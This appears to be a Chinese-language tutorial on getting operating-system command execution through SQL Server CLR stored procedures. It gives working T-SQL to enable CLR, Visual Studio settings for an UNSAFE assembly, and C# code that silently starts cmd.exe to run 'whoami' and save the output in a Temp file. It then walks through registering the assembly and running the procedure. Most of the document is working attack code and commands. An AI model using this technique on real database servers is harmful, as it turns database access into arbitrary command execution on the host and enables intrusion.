- 检查“clr enabled”是否开启
SELECT * FROM sys.configurations WHERE name = 'clr enabled'
- 开启“clr enabled”
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;
-
生成CLR存储过程
环境:SQL server 2012R2、visual studio 2019
-
检查SQL server主机的.NET版本
本来以为需要查看系统的.NET版本,结果在后续编译过程中遇到问题,查资料后发现SQL server2012对应.NET 3.5版本。
cd %WINDIR%\Microsoft.NET\Framework\v4.0.30319 MSBuild /version
如图得到.NET版本为4.0
-
在Visual Studio 2019中新建SQL server项目
项目模板选择
SQL server数据库项目
设置项目属性,【项目】→【项目属性】。
目标平台选择对应的SQL server版本,可以勾选
创建脚本
选项,这样之后每次重新编译项目时都会更新对应的sql文件。在
SQLCLR
中,将权限级别
设置为UNSAFE
,目标框架
设置为对应的.NET框架,并选择是
重新加载项目。新建SQL server存储过程C#项目,【项目】→【添加新项】,依次选择
SQL CLR C#
→SQL CLR C#存储过程
,新增项目。以如下代码作为示例,将
whoami
执行结果写入C:\\Windows\\Temp\\1.txt
中。using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Collections.Generic; using System.Text; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void SqlStoredProcedure1 () { // 在此处放置代码 System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/C whoami > C:\\Windows\\Temp\\1.txt"; process.Start(); } }
编译生成Release版本项目,并得到项目路径。
在该路径下找到create.sql文件,得到其中
CREATE ASSEMBLY……
部分的内容。至此,准备工作完成。
-
在SQL server中新建程序集
新建查询,执行上一步生成的SQL语句,看到
OK
字样表示成功,如果报错需要根据对应信息排查,多为.NET版本不匹配导致的错误。 -
创建存储过程
CREATE PROCEDURE [dbo].[SqlStoredProcedure1] AS EXTERNAL NAME [Database3].[StoredProcedures].[SqlStoredProcedure1]
注意,
AS EXTERNAL
后面的内容需要与C#代码中的程序集名称、类名、方法名对应。 -
调用存储过程
EXEC [dbo].[SqlStoredProcedure1];
检查主机,成功将
whoami
的执行结果写入了C:\\Windows\\Temp\\1.txt
中。由于默认情况下是network service权限,所以一开始就选择了Temp目录写入。
-